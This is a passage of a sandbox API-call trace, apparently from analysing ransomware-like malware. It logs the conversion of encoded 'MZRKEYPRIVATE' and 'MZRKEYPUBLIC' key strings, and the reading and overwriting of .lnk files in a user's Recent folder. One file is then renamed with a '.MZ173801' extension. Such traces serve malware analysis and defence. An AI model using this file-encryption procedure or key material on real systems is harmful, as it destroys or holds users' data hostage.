lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.102] GetCurrentThreadId () returned 0xab4 [0147.102] GetCurrentThreadId () returned 0xab4 [0147.102] GetCurrentThreadId () returned 0xab4 [0147.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.103] GetCurrentThreadId () returned 0xab4 [0147.103] GetCurrentThreadId () returned 0xab4 [0147.103] GetCurrentThreadId () returned 0xab4 [0147.103] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9y41-fr3PlkYnrNFG2e.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9y41-fr3plkynrnfg2e.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.103] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.103] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.103] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x38a [0147.103] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.103] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x38a, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x38a, lpOverlapped=0x0) returned 1 [0147.103] CloseHandle (hObject=0x280) returned 1 [0147.103] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9y41-fr3PlkYnrNFG2e.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9y41-fr3plkynrnfg2e.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.104] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x38a, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x38a, lpOverlapped=0x0) returned 1 [0147.105] CloseHandle (hObject=0x280) returned 1 [0147.106] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9y41-fr3PlkYnrNFG2e.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9y41-fr3plkynrnfg2e.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9y41-fr3PlkYnrNFG2e.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9y41-fr3plkynrnfg2e.lnk.mz173801")) returned 1 [0147.107] GetCurrentThreadId () returned 0xab4 [0147.107] GetCurrentThreadId () returned 0xab4 [0147.107] GetCurrentThreadId () returned 0xab4 [0147.107] GetCurrentThreadId () returned 0xab4 [0147.107] GetCurrentThreadId () returned 0xab4 [0147.107] GetCurrentThreadId () returned 0xab4 [0147.107] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b499cd, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x54b499cd, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x54b6fbfb, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3f3, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="aUIpFDwEiCcpzrSkPaW0.lnk", cAlternateFileName="AUIPFD~1.LNK")) returned 1 [0147.107] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.107] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.107] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aUIpFDwEiCcpzrSkPaW0.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\auipfdweiccpzrskpaw0.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b499cd, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x54b499cd, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x54b6fbfb, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3f3)) returned 1 [0147.107] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aUIpFDwEiCcpzrSkPaW0.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\auipfdweiccpzrskpaw0.lnk")) returned 0x20 [0147.107] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aUIpFDwEiCcpzrSkPaW0.lnk", dwFileAttributes=0x80) returned 1 [0147.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0147.110] GetCurrentThreadId () returned 0xab4 [0147.110] GetCurrentThreadId () returned 0xab4 [0147.110] GetCurrentThreadId () returned 0xab4 [0147.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 